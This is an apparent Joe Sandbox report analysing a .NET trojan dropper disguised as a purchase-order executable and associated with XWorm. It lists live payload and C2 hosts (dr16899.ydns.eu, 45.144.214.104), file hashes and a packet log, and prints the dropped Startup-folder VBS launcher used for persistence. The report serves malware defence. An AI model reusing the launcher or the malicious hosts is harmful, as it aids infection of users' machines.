Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	211 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Virtualization/Sandbox Evasion	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO-M4590 LIST ALL.exe	34%	ReversingLabs	Win32.Trojan.CrypterX
PO-M4590 LIST ALL.exe	36%	Virustotal		Browse
PO-M4590 LIST ALL.exe	100%	Avira	HEUR/AGEN.1308665

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe	100%	Avira	HEUR/AGEN.1308665
C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe	34%	ReversingLabs	Win32.Trojan.CrypterX

Source	Detection	Scanner	Label
http://dr16899.ydns.eu/1/12/panel/uploads/Kxemy.dat	0%	Avira URL Cloud	safe
http://dr16899.ydns.eu/1/12/panel/uploads/Kxemy.datKecg50J3KiKoxqh4B5E.z6dTMBEWo6HdMLMSci	0%	Avira URL Cloud	safe
104.168.34.186	0%	Avira URL Cloud	safe
http://dr16899.ydns.eu	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dr16899.ydns.eu	45.144.214.104	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://dr16899.ydns.eu/1/12/panel/uploads/Kxemy.dat	false	Avira URL Cloud: safe	unknown
104.168.34.186	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mgravell/protobuf-net	PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B9E000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://dr16899.ydns.eu	PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://dr16899.ydns.eu/1/12/panel/uploads/Kxemy.datKecg50J3KiKoxqh4B5E.z6dTMBEWo6HdMLMSci	PO-M4590 LIST ALL.exe, TwoDigitYearMax.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PO-M4590 LIST ALL.exe, 00000000.00000002.1475477883.0000000002B71000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003CCF000.00000004.00000800.00020000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1487880496.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp, PO-M4590 LIST ALL.exe, 00000000.00000002.1483123591.0000000003D3A000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.144.214.104	dr16899.ydns.eu	Ukraine		47169	HPC-MVM-ASHU	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1633908
Start date and time:	2025-03-10 18:01:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO-M4590 LIST ALL.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@4/3@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 82% Number of executed functions: 57 Number of non-executed functions: 4
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, g.bing.com
Execution Graph export aborted for target InstallUtil.exe, PID 8952 because it is empty
Execution Graph export aborted for target PO-M4590 LIST ALL.exe, PID 8668 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:02:23	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TwoDigitYearMax.vbs

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.144.214.104	COHC INVOI NO 2500385 .exe	Get hash	malicious	XWorm	Browse	dr16899.ydns.eu/1/12/panel/uploads/Hggvtg.mp3
	PO#GREEN AURA.exe	Get hash	malicious	XWorm	Browse	win32.ydns.eu/1/12/panel/uploads/Xlzsats.wav
	pictures and specifications.exe	Get hash	malicious	XWorm	Browse	win32.ydns.eu/never/lookinto/it/panel/uploads/Qwprueqkjqe.mp3
	Bestellbest#U00e4tigung.exe	Get hash	malicious	XWorm	Browse	win32.ydns.eu/never/lookinto/it/panel/uploads/Rieukcp.pdf
	FFDOC-2025210 pdf.exe	Get hash	malicious	XWorm	Browse	win32.ydns.eu/never/lookinto/it/panel/uploads/Ptcugze.mp3
	UPS tracking details.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	win32.ydns.eu/never/lookinto/it/panel/uploads/Fjuzaw.pdf
	Enquiry#039855.exe	Get hash	malicious	XWorm	Browse	win32.ydns.eu/never/lookinto/it/panel/uploads/Tnemxaef.vdf

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dr16899.ydns.eu	COHC INVOI NO 2500385 .exe	Get hash	malicious	XWorm	Browse	45.144.214.104

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HPC-MVM-ASHU	COHC INVOI NO 2500385 .exe	Get hash	malicious	XWorm	Browse	45.144.214.104
	jklx86.elf	Get hash	malicious	Unknown	Browse	45.131.150.222
	esFK2gm.exe	Get hash	malicious	Fallen Miner, Xmrig	Browse	45.144.212.77
	yjYJ8QncaF.exe	Get hash	malicious	Fallen Miner, Xmrig	Browse	45.144.212.77
	cbr.ppc.elf	Get hash	malicious	Mirai	Browse	45.131.150.227
	PO#GREEN AURA.exe	Get hash	malicious	XWorm	Browse	45.144.214.104
	pictures and specifications.exe	Get hash	malicious	XWorm	Browse	45.144.214.104
	Bestellbest#U00e4tigung.exe	Get hash	malicious	XWorm	Browse	45.144.214.104
	FFDOC-2025210 pdf.exe	Get hash	malicious	XWorm	Browse	45.144.214.104
	nklarm.elf	Get hash	malicious	Unknown	Browse	45.131.150.251

Process:	C:\Users\user\Desktop\PO-M4590 LIST ALL.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	91
Entropy (8bit):	4.866035404855205
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoUkh4EaKC5eR+wEHHn:FER/lFHI9aZ5e0l
MD5:	BE253DDE750F4DD38FD41E7943EB5218
SHA1:	6EA826E47639CF50F60A4E5C4D65E712AE63E821
SHA-256:	002FEBF25B39673E337DABBF2AD8AB9468FD6732C625452D030E15B871BC00D4
SHA-512:	E9990ECDCF98023C3806EDA98D552A8354BBF822896224F907C933C92F09A5A007C5ECEBE553E2AD1A88AFE83A05A577F70AE4209183D3C017DE494FDB736E4F
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe"""

C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe

Download File

Process:	C:\Users\user\Desktop\PO-M4590 LIST ALL.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.261051947954151
Encrypted:	false
SSDEEP:	384:K4088/msYh7dWPaO1qOptpDeAzAkKIblRAfOvZ:3VLWiOIOpq0xRAfOB
MD5:	985F3C04AB5DEC516B8AF607024D2BC2
SHA1:	9CBB9E9700AD7DF8132D923CD93297184323B8FF
SHA-256:	32F9313DE2F9BBD302B973CFF2027BAC0F5A6435445497BAB7A1D7B72659F6CF
SHA-512:	8508CB5D6CB5F6D9ED104FD5697D9A4110D6B6C9CED79626CB2F3CB3879BFFBF3F92638DA8039B6889F20CDAB5E543E54D1622082400AF838279BE8F9B892868
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...O..g.................2...........P... ...`....@.. ....................................`.................................pP..J....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............:..............@..B.................P......H.......0...@"...........................................................0..+....... ....+...(....+.&..+.r...p+.s ...+.(!...+...................0..".......ri..p+.r...p+...(....+.(....+.&................$....0..........("......o#.....o$...s%......o&....s'....+.+..+..i+.+.+.+ +!+&.L.+..+..+.o(...+..+.o)...+..+.o...+..+..,..o......,..o......,..o.....&s+...z.....4....(.>f..........Vp..........tz..............$....0..9........,...+.+.+.+.t,...+.."(,...+..+..+.(-...+.o....+.&s+

C:\Users\user\AppData\Roaming\TwoDigitYearMax.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\PO-M4590 LIST ALL.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.261051947954151
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	PO-M4590 LIST ALL.exe
File size:	15'360 bytes
MD5:	985f3c04ab5dec516b8af607024d2bc2
SHA1:	9cbb9e9700ad7df8132d923cd93297184323b8ff
SHA256:	32f9313de2f9bbd302b973cff2027bac0f5a6435445497bab7a1d7b72659f6cf
SHA512:	8508cb5d6cb5f6d9ed104fd5697d9a4110d6b6c9ced79626cb2f3cb3879bffbf3f92638da8039b6889f20cdab5e543e54d1622082400af838279be8f9b892868
SSDEEP:	384:K4088/msYh7dWPaO1qOptpDeAzAkKIblRAfOvZ:3VLWiOIOpq0xRAfOB
TLSH:	7262FA01B78E1777C5994B3E6C72635103B5D140AB57CB0B94ECA25AEE637910AE33A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...O..g.................2...........P... ...`....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4050ba
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67CF064F [Mon Mar 10 15:33:35 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5070	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x6000	0x58e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x30c0	0x3200	1011ed16456b22cbda4101072a4c143c	False	0.507421875	data	5.541964401085748	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x6000	0x58e	0x600	a6fcc45bde75be72f87b634bae1dc3cf	False	0.4134114583333333	data	4.04796278944635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8000	0xc	0x200	c63b10ec52d3386feca115ba5bd4b48b	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x605c	0x30c	data			0.4230769230769231
RT_MANIFEST	0x63a4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
Comments
CompanyName
FileDescription	Iqiamcx
FileVersion	1.0.0.0
InternalName	Iqiamcx.exe
LegalCopyright	Copyright 2010
LegalTrademarks
OriginalFilename	Iqiamcx.exe
ProductName	Iqiamcx
ProductVersion	1.0.0.0
Assembly Version	1.0.0.0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 18:02:07.942811966 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:07.947876930 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:07.947942019 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:07.952316999 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:07.957302094 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702229977 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702250004 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702260971 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702272892 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702284098 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702295065 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702307940 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702322960 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702325106 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.702336073 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702353001 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.702361107 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.702402115 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.707413912 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.707427979 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.707614899 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.824662924 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.824680090 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.824690104 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.824796915 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.824904919 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.824918032 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.824929953 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.824942112 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.824945927 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.824954987 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.824970961 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.824999094 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.825737953 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.825748920 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.825761080 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.825773001 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.825804949 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.825830936 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.826384068 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.826488018 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.826504946 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.826515913 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.826530933 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.826539040 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.826565981 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.827328920 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.827341080 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.827352047 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.827363968 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.827378035 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.827387094 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.875382900 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.954981089 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955024004 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955039978 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955054998 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955070972 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955075026 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.955085993 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955132961 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.955146074 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.955307007 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955363989 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955375910 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955387115 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955409050 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.955449104 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.955729008 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955775976 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955790997 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955801964 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.955820084 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.955847979 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.956173897 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.956229925 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.956316948 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.956329107 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.956341028 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.956351042 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.956351995 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.956365108 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.956379890 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.957243919 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.957257032 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.957268953 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.957281113 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.957289934 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:08.957298994 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:08.957313061 CET	80	49707	45.144.214.104	192.168.2.5
